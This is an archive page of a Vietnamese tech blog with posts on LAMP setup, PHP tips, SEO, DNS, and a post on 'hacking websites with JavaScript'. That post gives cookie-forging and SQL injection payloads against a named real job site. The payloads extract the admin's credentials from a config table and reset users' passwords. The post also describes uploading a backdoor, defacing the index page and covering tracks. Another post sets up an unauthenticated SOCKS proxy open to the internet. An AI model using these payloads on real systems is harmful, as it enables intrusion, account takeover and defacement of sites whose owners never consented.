Chia sẻ thông tin

KenjiVN - Quốc Trưởng

Search This Blog

Trưởng Nguyễn 's Blog

Chia sẻ kinh nghiệm, cung cấp những thông tin mới nhất về làng công nghệ. Chia sẻ những thủ thuật, những kiến thức hữu ích về công nghệ thông tin và truyền thông.

Trưởng Nguyễn 's Blog

Chia sẻ kinh nghiệm, cung cấp những thông tin mới nhất về làng công nghệ. Chia sẻ những thủ thuật, những kiến thức hữu ích về công nghệ thông tin và truyền thông.

Trưởng Nguyễn 's Blog

Chia sẻ kinh nghiệm, cung cấp những thông tin mới nhất về làng công nghệ. Chia sẻ những thủ thuật, những kiến thức hữu ích về công nghệ thông tin và truyền thông.

Trưởng Nguyễn 's Blog

Chia sẻ kinh nghiệm, cung cấp những thông tin mới nhất về làng công nghệ. Chia sẻ những thủ thuật, những kiến thức hữu ích về công nghệ thông tin và truyền thông.

Trưởng Nguyễn 's Blog

Chia sẻ kinh nghiệm, cung cấp những thông tin mới nhất về làng công nghệ. Chia sẻ những thủ thuật, những kiến thức hữu ích về công nghệ thông tin và truyền thông.

Showing posts with label Webmaster. Show all posts
Showing posts with label Webmaster. Show all posts

Tuesday, October 16, 2012

Share code tuyển dụng đẹp good


code này mình tìm được trên mạng thấy hay nên share cho a e, không biết đã post chưa, huy vọng có ích cho các bạn .




Source+data
http://www.mediafire.com/?bva8uaav4wzx78b

Saturday, September 15, 2012

Cách cài đặt Apache2 với PHP5 và hỗ trợ MySQL trên Ubuntu 11.10 (LAMP)

LAMP là chữ viết tắt thường được dùng để chỉ sự sử dụng các phần mềm Linux, Apache, MySQL và ngôn ngữ văn lệnh PHP hay Perl hay Python để tạo nên một môi trường máy chủ Web có khả năng chứa và phân phối các trang Web động. Bài viết sau sẽ hướng dẫn các bạn cài đặt máy chủ web Apache2 trên Ubuntu 11.10 server với PHP5 hỗ trợ cho mod_php và MySQL.

Lưu ý chung

Trong phần minh họa này chúng tôi sử dụng hostname server1.example.com với địa chỉ IP 192.168.0.23. Bạn có thể thay đổi sao cho phù hợp với mình.
Các bước sau cần chạy với quyền root, vì vậy bạn có thể chạy lệnh:
sudo su
để đăng nhập với quyền root.

Cài đặt MySQL 5

Đầu tiên chúng ta sử dụng lệnh sau để cài đặt MySQL 5:
apt-get install mysql-server mysql-client
Bạn sẽ được yêu cầu cung cấp một mật khẩu cho MySQL của user root – đây là mật khẩu có giá trị cho người dùng root@localhost cũng như r[email protected], vì thế chúng ta sẽ chỉ định một password cho MySQL:
New password for the MySQL “root” user: <– Mat khau root SQL
Repeat password for the MySQL “root” user: <– Mat khau root SQL

Cài đặt Apache2

Apache2 có sẵn trong gói Ubuntu, người dùng chỉ cần sử dụng lệnh sau để cài đặt:
apt-get install apache2
Bây giờ nhập vào đường dẫn http://192.168.0.23 trong trình duyệt của mình, bạn sẽ thấy trang của Apache2:
Apache2-ubuntu11.10
Theo mặc định, thư mục root của Apache2 thuộc /var/www trong Ubuntu, và tập tin cấu hình của nó là /etc/apache2/apache2.conf. Các cấu hình bổ sung được lưu trữ trong thư mục con của thư mục /etc/apache2, chẳng hạn /etc/apache2/mods-enabled (cho các module Apache), /etc/apache2/sites-enabled (cho virtual hosts), và /etc/apache2/conf.d.

Cài đặt PHP5

Chúng ta tiến hành cài đặt PHP5 và module Apache PHP5 bằng lệnh:
apt-get install php5 libapache2-mod-php5
Sau đó khởi động lại Apache:
/etc/init.d/apache2 restart

Thử nghiệm PHP5 và ghi nhận thông tin về quá trình cài đặt

Theo mặc định, thư mục root của website là /var/www. Chúng ta sẽ tạo một tập tin php nhỏ (info.php) trong thư mục này và gọi nó trên trình duyệt. Tập tin này sẽ hiển thị các thông tin hữu ích về trình cài đặt PHP, chẳng hạn như phiên bản của PHP hiện tại.
vi /var/www/info.php
<?php
phpinfo();
?>
Bây giờ chúng ta gọi file này trên trình duyệt (http://192.168.0.23/info.php).
Cài đặt Apache2 với PHP5 và hỗ trợ MySQL trên Ubuntu 11.10 (LAMP)
Với hình ảnh trên cho thấy PHP5 đang hoạt động thông qua Apache 2.0 Handler (hiển thị tại dòng Server API). Nếu di chuyển tiếp xuống bên dưới bạn sẽ thấy các module đã được kích hoạt trong PHP 5. MySQL không được liệt kê có nghĩa là PHP5 không hỗ trợ MySQL. Chúng ta khắc phục bằng cách dưới đây:

“Bắt” PHP5 hỗ trợ MySQL

Để MySQL được hỗ trợ trong PHP5, chúng ta cần cài đặt gói php5-mysql. Đây là việc làm tốt để cài đặt các module khác của PHP5 cũng như những ứng dụng cần thiết về sau.
Tìm kiếm những module có sẵn của PHP5:
apt-cache search php5
Chọn những gì cần cài đặt:
apt-get install php5-mysql php5-curl php5-gd php5-idn php-pear php5-imagick php5-imap php5-mcrypt php5-memcache php5-ming php5-ps php5-pspell php5-recode php5-snmp php5-sqlite php5-tidy php5-xmlrpc php5-xsl
Cuối cùng restart Apache2:
/etc/init.d/apache2 restart
Bây giờ bạn hãy tải lại trang http://192.168.0.23/info.php trên trình duyệt của mình, kéo xuống dưới lần nữa bạn sẽ thấy những module mới, bao gồm cả MySQL:
Cài đặt Apache2 với PHP5 và hỗ trợ MySQL trên Ubuntu 11.10 (LAMP)

phpMyAdmin

PhpMyAdmin là một giao diện web, thông qua đó bạn có thể quản lý cơ sở dữ liệu MySQL. Vì vậy khuyến cáo bạn nên cài đặt nó.
apt-get install phpmyadmin
Bạn sẽ nhận được câu hỏi sau:
web server to reconfigure automatically: <– nhập apache2
Configure database for phpmyadmin with dbconfig-common? <– nhập No
Sau đó bạn có thể truy cập vào phpMyAdmin theo http://192.168.0.23/phpmyadmin/:
Cài đặt Apache2 với PHP5 và hỗ trợ MySQL trên Ubuntu 11.10 (LAMP)

Các link tham khảo:


(Nguồn HowtoForge )

Tuesday, September 11, 2012

PHP Script - kiểm tra tình trạng server và gửi email thông báo khi server down




Script này giúp kiểm tra tình trạng server, service xem nó có đang hoạt động hay không

Ví dụ đoạn code mẫu

PHP Code:
<?php 
include("servermonitor.php");$Monitor = new ServerMonitor();$Monitor->add("Local server""sinhvienit.net"80);

echo 
$Monitor->run(true);
?>
Ở đây chúng ta sẽ gọi đến lớp ServerMonitor được định nghĩa trong file servermonitor.php

PHP Code:
$Monitor->add("Local server""sinhvienit.net"80);  
Bạn có thể add nhiều server để kiểm tra cùng lúc. số 80 là cổng của dịch vụ đang chạy cần kiểm tra, thay vì điền domain bạn cũng có thể thay bằng IP của server

PHP Code:
$Monitor->setEmail("[email protected]");  
Khi server offline, script này sẽ gửi email thông báo đến bạn.

PHP Code:
foreach($results as $result){
    
$status $result->active "Online" "Offline";
    echo 
$result->name ': <strong>' $status '</strong><br />';
}  
Chạy vòng lặp để xuất ra kết quả tình trạng server


// Bạn nào thích thì có thể phát triển thêm để script có thể tự động kiểm tra
File Kèm Theo File Kèm Theo

Tuesday, August 28, 2012

Cách tạo socks private đơn giản cho bạn



Anh em đừng lạm dụng làm nó ban VN nhé

reg acc https://www.digitalocean.com
create droplets: centos 5 hoặc 6 đều ok nhé.
mỗi email 1 acc nhé.
dùng 1 gmail thêm các dấu . thành nhiều email hiện giờ vẫn dc, có thể nó sẽ kiểm tra sau.
Chờ 1-2 ph check mail nhận ip, password.
Connect vào bằng ssh client (sercure crt hoặc tunnelier hoặc putty hoặc...)
Run command:

Code:
echo y|ssh-keygen -t rsa -N "" -f ~/.ssh/id_rsa;cat ~/.ssh/id_rsa.pub > ~/.ssh/authorized_keys;ssh -fND 0.0.0.0:8888 -o StrictHostKeyChecking=no localhost
OK
Close kết nối.
Bạn đã có sock : ip:8888.
sock này vừa là socks4, socks4a,socks5 nhé
dùng 4 hay 5 đều được.
Nếu add vào Firefox bạn nên chọn socks v4 (vì socks v5 cần nhiều hơn 2 gói tin cho mỗi connection, chậm hơn socks4)

Sunday, August 26, 2012

Code backlink tăng rank tự nhiên



Vào đây đăng kí 1 nick rồi lấy ID về

http://www.e-referrer.com/

bạn có thể quan lý backlinks của mình trong web này cũng khá tốt
mở file index.php sửa lại
sitename.com = tên web của bạn
thay đoạn này bằng ID của bạn
<script type="text/javascript">
write_ref(111111);
</script>
xong code mình đã tích hợp nhiều seo của web khác auto nhiều backlink khá tốt không bị google cho vào dạng auto.

hàng đây
http://www.mediafire.com/?k4yayh9mud6czoy

Trao Đổi Backlink với mình tại:
http://kenjivn.net/backlink/ 

Tuesday, August 14, 2012

Giỡn chơi một tí: với hack website = javascript


Lâu quá hình như chưa có trương trình hack nèo coi đã mắt nên quyết định chỉ cho anh em mới vô nghề vài mánh để giởn chơi còn kết quả ra sao thì không nói trước có bị quánh thì đừng nói là của tui (vì nguồn st mà) đã thữ rồi kết quã tốt lắm. Nhưng nói trước nghe tuỳ vào IQ cua anh em như thế nào => kết quả như vậy. và mình không chỉ thêm bất cứ vấn đề gì trong chuyên mục này vì bái viết quá rõ, hướng dẫn tĩ mỹ và thật chi tiết và mình cũng đã test thử thấy kết quả là chính xác. Nên trước khi nói là làm không được thì các bạn nên xem lại cho thật kỹ mình đã làm như thế nào
VÔ VẤN ĐỀ
Đầu tiên bạn mở trang web victim lên !
Vào thanh Address chứa link trang web victim xóa sạch link , copy và pase vào đoạn code sau vào


Code:
javascript:document.body.contentEditable='true'; document.designMode='on'; void 0


Và bây giờ bạn có thể làm gì trang web của victim cũng đc , thao tác như notepad
(Và trên đây là minh chứng microsoft bị phá hủy trong nháy mắt)
Hiiiii anh em làm xong đừng nóng

cái này chỉ dành cho mấy mem yếu tim thôi. hi hi



bổ sung thêm cái Hack Web Bằng JavaScript-Inline




[SANITC] : Trong bài viết này mình sẽ giới thiệu với các bạn về kĩ thuật hack web chỉ dùng JavaScript. Với kĩ thuật này, bạn có thể xem xét và hiệu chỉnh giá trị của các cookie hoặc trường ẩn trực tiếp ngay trên trang web. Tất cả chỉ với một trình duyệt web hổ trợ "debug javascript-inline", chẳng hạn như Internet Explorer, Netscape hay Mozilla, ... Cơ bản về JavaScript-Inline^^

Đa số các trình duyệt web đều hổ trợ JavaScript-Inline.
Bạn có thể thi hành JavaScript bằng cách gõ vào thanh URL như sau:
Code:
javascript:void(<đặt lệnh JavaScritpt ngay tại đây!>)
Ví dụ:

Để xem giá trị hiện tại của cookie bạn gõ :
Code:
javascript:alert(document.cookie)
Hoặc
để thay đổi giá trị của trường ẩn "hiddenid" của form đầu tiên thành "2", bạn gõ:
Code:
javascript:void(document.forms[0].hiddenid.value="2")
Mã nguồn HTML có đoạn như sau:
...

Code:
var a=unescape("%43%4f%44%45%5a");
Code:
function check(){if (document.a.c.value == a){document.location.href="http://scifi.pages.at/hackits/"+document.a.c.value+".htm";}else{alert ("wrong! - letter size?");}}}

Đơn giản bạn có thể gõ thẳng vào thanh URL của IE như sau:
Code:
javascript:alert(unescape(a)) để lấy password của level tiếp theo("CODEZ")

Realistic mission 8 trên hackthisite.org yêu cầu bạn chuyển 10 triệu đô từ tài khoản của "Gary Hunter" vào tài khoản "dropCash".
Sau khi bạn dùng SQL-Injection để lấy username của "Gary Hunter", bạn tiến hành chuyển tiền như sau:

Đăng nhập vào tài khoản của bạn. Trên thanh URL của IE bạn gõ vào:
Code:
javascript:void(document.write('< name="the_" ="movemoney.php" method="post"><value="GaryWilliamHunter" name="FROM" ="">< value="dropCash"name="TO" ="">< value="10000000" name="AMOUNT" =""><value="Move Money To A Different Account" ="submit">'))
Đoạn JavaScript trên sẽ tạo một form với trường ẩn 

Code:
FROM=GaryWilliamHunter, TO=dropCash, AMOUNT=10000000
Bây giờ bạn thay đổi cookie lại như sau:
Code:
javascript:void(document.cookie="accountUsername=G aryWilliamHunter")javascript:void(document.cookie="accountPassword=G aryWilliamHunter")

Ấn nút "Move Money To A Different Account" một cái là xong.

Mình nghĩ rất có khả năng là mission 8 tạo một session("LoggedIn").
Mỗi lần chúng ta đăng nhập vào nó sẽ đặt session("LoggedIn")=1. Chúng ta chỉ cần thay đổi lại giá trị của cookie và trường ẩn để thực hiện việc chuyển tiền trong session của chúng ta
vì nó chỉ kiểm tra sesion("LoggedIn")=1 mà không kiểm tra username thực sự là ai.

Ví dụ cuối cùng, mình sẽ trình bày về cách hack trang web
http://www.mangvieclam.com/.

Sau khi đã đăng nhập vào mangvieclam.com, bạn gõ vào thanh URL dòng javascript:alert(document.cookie) để xem cookie.

Ban có thể thay đổi thông tin cá nhân của một user bất kì trên mangvieclam.com bằng cách đổi lại cookie username như sau: javascript:void(document.cookie="username=tên user"), sau đó chọn mục "Cập nhập thông tin"

Bạn cũng có thể thay đổi password của một user bất kì trên mangvieclam.com sau khi đã login vào với account của mình như sau: chọn mục "Thay đổi mật khẩu", gõ dòng javascript:void(document.cookie="username=tên user"+escape("' or '1'='1")) vào thanh URL, nhập password cũ là gì cũng được và password mới, sau đó ấn nút "Thay đổi mật khẩu".

Lỗi này nằm trong file icl/filerec/detail.asp, dòng thứ 43..65. Ví dụ, khi bạn set cookie username là "trungkien' or '1'='1", các câu lệnh SQL sau sẽ được thực thi:
Code:
Select Count(UserID) As Check From tblUserInfo Where UserID = 'trungkien' or '1'='1' And Passwords='md5(password cũ sai)' And Active = 1982 // luôn trả về true do điều kiện or '1'='1' đúng mặc dù password cũ sai

Code:
Update tblUserInfo Set Passwords = 'md5(password mới)' Where UserID = 'trungkien' or '1'='1' And Active = 1982 // luôn set password mới cho user "trungkien" do điều kiện UserID = 'trungkien' đúng trước điều kiện '1'='1'
Rất tiếc là lỗi này không thể khai thác trên
LINK :http://www.mangvieclam.com/
do lỗi lập trình.
Code:
Select Count(UserID) As Check From tblUserInfo Where UserID = N'trungkien' or '1'='1' And Passwords = N'...' And Active = 1982
Tuy nhiên, website
LINK :http://www.mangvieclam.com/
dùng CSDL MS-SQL nên mình dễ dàng lấy được username và password của admin từ tblConfig như sau:
Code:
Đầu tiên mình lấy username bằng javascript:void(document.cookie="username="+escape ("' or 1=convert(int,(select adminid from tblconfig where accid=1))--"))
Chọn mục "Cập nhập thông tin"

Tên đăng nhâp của admin là 'ngtuan'

Tương tự mình lấy password của admin bằng

Code:
javascript:void(document.cookie="username="+escape ("' or 1=convert(int,(select adminpass from tblconfig where accid=1))--"))
Bây giờ mình đặt lại password mới là 'hacked'
HTML
Code:
<form action=http://www.mangvieclam.com/log.asp method=post>username: <input type=text name=username><br>password: <input type=password name=password><br><input type=hidden name=ChoseLogin value=3><input type=hidden name=mod value=1><input type=submit value=login></form>
Upload backdoor và thay đổi trang index.asp. Sau đó restore lại pasword cũ cho admin để tránh bị phát hiện:
Code:
javascript:void(document.cookie="username="+escape ("';update tblconfig set adminpass='...' where accid=1--"))
Một giải pháp cho mangvieclam.com là bạn nên chuyển biến Request.Cookies("UserName") thành biến phiên Session("UserName") để tránh bị giả mạo username như ở trên.

<---------THE END----------->
Chúc các bạn thành công. Nên nhớ rằng dùng để học hỏi không nên lấy để đi phá các bạn có thể tạo stile trên free host và áp dụng xem sao

Wednesday, August 8, 2012

Vài kinh nghiệm PHP căn bản

Cách sử dụng include và require
include và require là hàm để chèn một đoạn mã từ file khác trong hệ thống file local hoặc từ url nếu config allow_url_include được bật. Chúng khác nhau ở chỗ: khi dùng include, nếu file được chèn xảy ra lỗi thì chương trình vẫn tiếp tục chạy; còn với require, chương trình sẽ dừng ngay chỗ bị lỗi nếu nó xuất hiện trong file được chèn.
include_once và require_once cũng tương tự, chúng chỉ khác hai hàm trên là sẽ kiểm tra file đó đã được chèn trước đó chưa để đảm bảo những file đó chỉ được chèn một lần trong toàn bộ chương trình. Hai hàm này dùng chung vùng nhớ lưu thông tin included files nên nếu một file được chèn bởi include_once sẽ không được chèn lại bởi require_once. Điều này hữu ích khi chúng ta không thể biết chắc file đó đã được chèn hay chưa vì nếu chèn một file chứa hàm/lớp hai lần thì PHP sẽ báo lỗi khai báo lại hàm/lớp đó (Cannot redeclare...)
Theo những mô tả trên thì tôi luôn luôn chỉ sử dụng hai hàm require_once và include. require_once được dùng để chèn các file chỉ chứa lớp, hàm... và logic chương trình. Dữ liệu trong toàn bộ chương trình sẽ không được toàn vẹn nếu một file được chèn gặp lỗi mà nó vẫn tiếp tục, đó là lí do include_once không được sử dụng. include file được dùng để chèn các file HTML trong phần template. View layer không chứa mã logic nên không nhất thiết phải ngừng khi gặp lỗi.
Bốn hàm trên tuy là hàm nhưng cũng cũng có thể được dùng như những từ khóa: include 'a.php' hay include('a.php') đều được. Tuy nhiên theo khuyến cáo của PEAR thì nên sử dụng chúng như từ khóa (không chứa cặp dấu ngoặc).
Mở và đóng khối mã PHP
Nếu bạn không thể kiểm soát thiết lập short_open_tag trên server chứa ứng dụng thì nên luôn luôn sử dụng thẻ mở đầy đủ short_open_tag.
Trong các file được chèn, PHP không bắt buộc phải có thẻ đóng ?> ở cuối khối mã PHP. Sau khi đóng khối mã PHP thì các kí tự sau nó bắt đầu được in ra. Việc không sử dụng thẻ đóng ?> trong các file thư viện hàm/lớp sẽ tránh được việc in ra những kí tự vô tình không kiểm soát được như tab, xuống dòng, spaces... chúng sẽ làm các đoạn mã phía sau không thể modify header nữa, điều này đã từng gây khổ sở cho rất nhiều người mới làm quen PHP.
Và sau thẻ đóng ?> thì nên có ít nhất một dòng trống. Tôi không nhớ rõ tại sao, chỉ biết là nó giúp PHP engine hoạt động tối ưu hơn.
Dấu nháy đơn (') và nháy kép (")
Trong PHP thì dấu nháy đơn và nháy kép đều được dùng để đánh dấu chuỗi. Chỉ khác một điều là phía trong cặp dấu nháy kép thì vẫn có thể sử dụng biến từ bên ngoài còn nháy đơn thì không.
Ví dụ:

PHP Code:
$a '123';
echo 
"Print me: $a"// sẽ in ra Print me: 123echo 'Print me $a'// sẽ in ra nguyên chuỗi Print me $a 
Việc dùng nháy kép sẽ khiến trình thông dịch PHP tốn thêm công sức phân tích chuỗi trong nó để parse giá trị các biến dẫn đến tốn tài nguyên hơn nháy đơn. Bởi vậy trong các chuỗi thông thường không chứa biến tôi luôn dùng dấu nháy đơn. Không hiểu sao vẫn có rất nhiều người thích dùng dấu nháy kép để khai báo chuỗi trong khi dấu nháy đơn vừa tiết kiệm tài nguyên hệ thống vừa tiết kiệm sức người (vì không phải đè phím Shift )).
Tuy nhiên cũng tùy tình huống mà dùng cho hợp lí. Trong các câu lệnh SQL thì nên dùng nháy kép vì hầu hết các RDBMS đều dùng nháy đơn để đánh dấu chuỗi. Dùng nháy kép trong PHP ở đây sẽ giúp đoạn mã nhìn đỡ rối rắm hơn. Nếu echo HTML thì nên dùng nháy đơn vì giá trị của thuộc tính thẻ HTML được bọc bởi nháy kép. Hãy thử so sánh các câu SQL và HTML dưới đây:
PHP Code:
$sql "SELECT user_id FROM user WHERE user_first_name = 'John' AND user_company_name = 'John\'s'";$sql 'SELECT user_id FROM user WHERE user_first_name = \'John\' AND user_company_name = \'John\\\'s\'';
echo 
'<span style="color: green;">This is a good look</span>';
echo 
"<span style="">It's hard to read this</span>"
Biểu thức so sánh trong điều kiện khối lệnh if
PHP dùng dấu bằng (=) để gán giá trị cho biến, hằng và cặp dấu == trong so sánh bằng. Một đoạn mã dưới đây sẽ không gặp vấn đề gì:
PHP Code:
if ($string == 'a') {
    
// do something} else {
    
// do something else
Tuy nhiên nếu bất cẩn bạn quên mất một dấu bằng thì sẽ trở thành việc gán giá trị a cho biến $string chứ không phải so sánh $string với giá trị a nữa:
PHP Code:
if ($string 'a') {
    
// do something} else {
    
// do something else
Vì việc gán dữ liệu luôn thành công nên luôn trả lại giá trị true và cũng luôn luôn chỉ có đoạn lệnh "do something" được thực hiện còn "do something else" sẽ không bao giờ được thực thi.
Một cách đơn giản để tránh khỏi sự bất cẩn này là đặt giá trị cần so sánh phía trước và biến ở phía sau:
PHP Code:
if ('a' == $string) {
    
// do something} else {
    
// do something else
Nếu bạn quên mất một dấu "=" thì PHP sẽ báo lỗi ngay vì không thể gán giá trị cho một chuỗi tường minh
Tận dụng PHPDoc
Việc comment trong source sẽ khiến người phát triển sau hiểu được các đoạn mã viết gì. PHPDoc là các đoạn comment có quy tắc thường được đặt ở đầu file, trước class, thuộc tính, hằng, biến... để giúp PHPDocumentor tự động tạo document. Hầu hết các PHP IDEs phổ biến (Zend Studio, Eclipse PDT...) đều hỗ trợ PHPDoc. Chúng sẽ phân tích PHPDoc và đưa ra hướng dẫn gợi ý khi bạn gọi đến lớp hay hàm nào đó. Điều này hữu ích khi trong một project có hàng trăm hàm/lớp và bạn không thể nào nhớ tất cả chúng.
PHPDoc có một số quy tắc và cấu trúc bạn có thể tham khảo tại đây: http://manual.phpdoc.org/HTMLSmartyC..._tags.pkg.html.
Dưới đây là một ví dụ sử dụng PHPDoc:
PHP Code:
/**
 * Ducthuans: PHP code library developed by NGUYEN Duc Thuan
 *
 * @package     Ducthuans
 * @author      Nguyen Duc Thuan
 * @link        http://www.ducthuan.info
 * @copyright   Copyright (c) 2008, Nguyen Duc Thuan
 * @license     http://www.opensource.org/licenses/bsd-license.php
 * @Project     (This is a bad tag because it is not supported by PHPDocumentor)
 */
class Ducthuans{

    
/**
     * Holds Ducthuans' instance
     *
     * @var Ducthuans
     */
    
private static $_instance null;

    
/**
     * Initializes and returns Ducthuans' instance
     *
     * @return Ducthuans
     */
    
public static function &getInstance()
    {
        if (
null === self::$_instance) {
            
self::$_instance = new self();
        }

        return 
self::$_instance;
    }

    
/**
     * Disables creating instance directly from public
     *
     */
    
private function __construct()
    {}

    
/**
     * Disables cloning object
     *
     */
    
private function __clone()
    {}

    
// I cannot understand what the hell this method does without reading the code line by line... :-w
    
public function badDefinition ($paramOne$paramTwo)
    {
        foreach (
$paramTwo as $item) {
            
doSomething($paramOne$item);
        }

        return 
doAnotherThing();
    }

    
/**
     * These are some lines
     * to describe what the method does
     *
     * @param string    $paramOne This is a string to be passed in function 'doSomething'
     * @param array     $paramTwo This is an array to do something
     * @param integer   Good, I know this method will return an INTEGER value
     */
    
public function goodDefinition ($paramOne$paramTwo)
    {
        foreach (
$paramTwo as $item) {
            
doSomething($paramOne$item);
        }

        return 
doAnotherThing();
    }

Thursday, July 19, 2012

24 font chữ đẹp của các thương hiệu nổi tiếng

[IMG]

Font chữ trên logo, letterhead, bao thư, văn bản... đóng vai trò khá quan trọng trong việc nhận dạng thương hiệu. Ngoài ra, đây cũng là một trong những cách thể hiện cá tính và truyền đạt nội dung hiệu quả nhất trong lĩnh vực quảng cáo, giải trí, thiết kế. Bài viết này sẽ giới thiệu đến các bạn 24 font chữ của các thương hiệu nổi tiếng trên thế giới, hỗ trợ download hoàn toàn miễn phí.

Download:
Waltograph - Loki Cola - Back to the Future - Calvin and Hobbes - United States - Corleone - PEZ Font - Dummies - Final Fantasy - Blade Runner - Fortune Wheel - Harry P - Men In Blue - Jurassic Park - Peanuts - Pricedown - Rebuffed - Rolling Rocker - Star Jedi - Tommy Hilfiger - Terminator - Yahoo - Twilight: New Moon - Bootle

Friday, July 6, 2012

5 Thủ thuật viết title thu hút traffic



iêu đề bài viết của bạn có thể gây ấn tượng với người đọc về nội dung bài viết đó. Nếu bạn có 1 tiêu đề hay , bạn sẽ khuyến khích khách cảm nhận cần phải click và  đọc nội dung mà bạn đưa ra. Nếu nội dung hay như lời tiêu đề mô tả bạn thậm chí còn có thể thu hút lượng traffic lớn tự nhiên hơn khi chính khách đọc chia sẻ bài viết cho bạn bè họ và điều đó tiếp tục liên hồi (Với điều kiện người chia sẻ phải ý thức rằng họ cần tôn trọng bản quyền tác giả, điều này ở nước ta có vẻ không gây được sự chú ý của SEOER)
Khi viết một bài , điều đầu tiên chúng ta cần cân nhắc và chú ý đó chính là tiêu đề như một lời hứa. Nò thường gắn liền với nội dung , khi tiêu đề của bạn trệch khớp content nó sẽ tác động có hại cực lớn đến lòng tin của người dùng.

Cách thứ nhất : Thêm một con số

Vd :Bài viết thủ thuật SEO hay nhất , những thử thách dành cho seoer 2011… Thì những từ những số như “nhất ” hay “2011″ Thường đưa người đọc đến một định hướng bài viết nhất định từ đó rất dễ tạo sự tò mò của khách . Vấn đề là con số phải thực chất với nội dung.
VD : Nếu nội dung chỉ có 7 ý trong đó title nêu tận 10 thì đó thực sự là sự xúc phạm với người đọc.

Cách thứ 2 Tạo cho nó sự liên quan đặc biệt.

Với mỗi tiêu đề khi muốn người đọc cảm thấy hứng thú ngay từ đầu thông thường ta nên sử dụng những hình ảnh quen thuộc  hay đã từng gây ấn tượng với người đọc. Như ” mattcut tiết lộ thuật toán google” ,  ”Tìm hiểu sitelinks trên trang quanho.org“…
Nếu bạn là 1 seoer chắc hẳn bạn không thể nào không biết về mattcut hay sitelinks là ai hay là cái gì phải không nào. Và nó có tác động lớn với bạn thế nào khi bạn đang tìm hiểu về sitelink và thuật toán google do một nhân vật có tiếng trong nghành phát biểu ? Hãy thực nghiệm và kiểm chứng bạn hẳn sẽ có nhiều ngạc nhiên.

Cách 3 : Title là một câu nói hóm hỉnh hài hước .

Hầu hết ai cũng thích được cười , và đôi khi điều chia sẻ trong bài chúng ta đã biết nhưng với 1 title gây ấn tượng khiến chúng ta không thể không mỉm cười thì nó sẽ thực sụ là một giải pháp tốt. Vd : Tôi đã từng đọc bài viết sau trận El calassio 3 (Bác nào mấu bóng đá sẽ hiểu nhé)  có một tiêu đề khiến tôi buồn cười và thậm chí vào 2  website khác nhau khi nhìn thấy tôi vẫn muốn click. “ Real – Barca: Tiều phu gặp kịch sĩ ”  :D.

Cách 4 : Giấy lên một luồng tranh luận đối chiều.

Một tiêu đề gây tranh cãi sẽ khiến cho người đọc cảm thấy được cuốn hút vào trong nội dung. Nó khiến người đọc buộc phải click và xem xét kỹ vấn đề bạn nêu xem có phải bạn đang đùa giỡn họ và có thể đồng tình hoặc phản đối quan điểm bài viết.  Do đó dưới mỗi bài viết bạn nên đưa ra quan điểm riêng của mình để tranh luận có phần hấp dẫn hơn.
Vd : “wordpress và blogspot cái nào tốt hơn cho seo” , hay “Liệu Copy writing có còn quan trọng trong SEO

Cách 5 : TẠo sự khẩn cấp , nhanh chóng.

Thông thường những tin tức nóng hổi sẽ được người đọc tìm nhanh và quan tâm nhiều. Do đó chỉ với 1 chút biến tấu trong site bạn có thể đưa title đến với người đọc một cách khẩn trương hơn , nhanh chóng hơn.
Vd :” google cập nhật page rank trong tháng tới” , “bảy điều cần làm khi có sóng thần” …
Như bạn đã thấy còn có khả nhiều phương thức giúp bạn có thể tăng thêm lưu lượng truy cập cũng như  sự nổi tiếng cho website thông qua nội dung và tiêu đề bài viết. Vẫn biết còn nhiều cái để khai thác tiếp nhưng tôi tin với mớ kiến thức cũ rích này bạn vẫn có thể tạo nên sự khác biệt nếu áp dụng nó lại thành môn võ công riêng biệt.:). Chúc bạn thực nghiệm thành công. Trong thời gian tới sẽ cố gắng câp nhật thêm kiến thức cho các bạn.

Wednesday, June 20, 2012

Cách tạo subdomain trong Direct Admin


Đầu tiên:
Bước 1:
Nếu các bạn DNS namesever
NS1: ns1.4be.vn
NS1 IP: 112.78.15.3
NS2: ns2.4be.vn
NS2 IP: 112.78.15.3
Thì không cần làm gì nữa tới bước 2

Bạn nào DNS trung gian qua everydns hay gì đó thì DNS từng sub domain về IP 112.78.15.3(cái này mình không nói nữa...)
Bước 2:





VD: forum or home

Bước 3:


Các bạn chọn Site Redirection




Tiếp đó


- Dòng đầu bạn điền folder như tên subdomain
VD: forum.thegioiteenviet.org thì điền ngay đó là /forum
- Dòng 2: bạn chọn 301 Permanent <=== cái này nha các bạn.
- Dòng 3: Điền cái subdoamin vô thôi như VD trên http://forum.thegioiteenviet.org

Bước 4: Khi bạn tạo subdomain ở bước 2 thì nó tự tạo cho bạn trong thư mục public_html của bạn những folder của subdomain sẵn rồi,
Sau đó các bạn up đè lên thay cái folder đó(có thể xóa,úp lên với cái tên như thế),nhớ là không phải úp trong folder đó.

Bước 5: F5 và xem kết quả
Một điều quan trong nữa khi bạn tạo subdomain thì trong public_html có file .htaccess với nội dung:

Redirect 301 /home http://sub.domaincuaban.com
Redirect 301 /forum http://sub.domaincuaban.com

Giờ bạn muốn nó tự chuyển trang khi vào domain sang sub.domain thì thêm cái này

RewriteEngine on

RewriteCond %{HTTP_HOST} ^domaincuaban.com$ [OR]
RewriteCond %{HTTP_HOST} ^www.
domaincuaban.com$
RewriteRule ^(.*)$ "http\:\/\/sub.
domaincuaban\.com$1" [R=301,L]

Khi vào domain nó tự chuyển sang sub

Wednesday, June 13, 2012

DNS tên miền *.tk vào forumotion

Đầu tiên bạn vào trang web:

    Http://FreeDNS.Ws

Đăng kí 1 tài khoản. Chú ý: Một số bạn nào xài Gmail thường thì nó quẳng cái mail về vào thùng Spam đấy nên không thấy được Cười nhe răng, lúc đó hãy chọn thùng spam để xem nhé hehe
Tiếp tục tạo thêm một tên miền .tk ở
Http://dot.tk

Khi tạo xong Config như sau

Enlarge this image

Vào FreeDNS để làm tiếp chọn Add New Zone

Enlarge this image

Chọn xong bạn config như thế này:

Enlarge this image




Enlarge this image

Chờ 30 - 60 phút và làm tiếp công việc đơn giản Cười nhe răng
À quên, để kiểm tra trước khi add tên miền bạn truy cập tên miền đó và xem nó có hiện bảng scan của Forumotion không, nếu có thì add luôn nhé Nháy mằt

Enlarge this image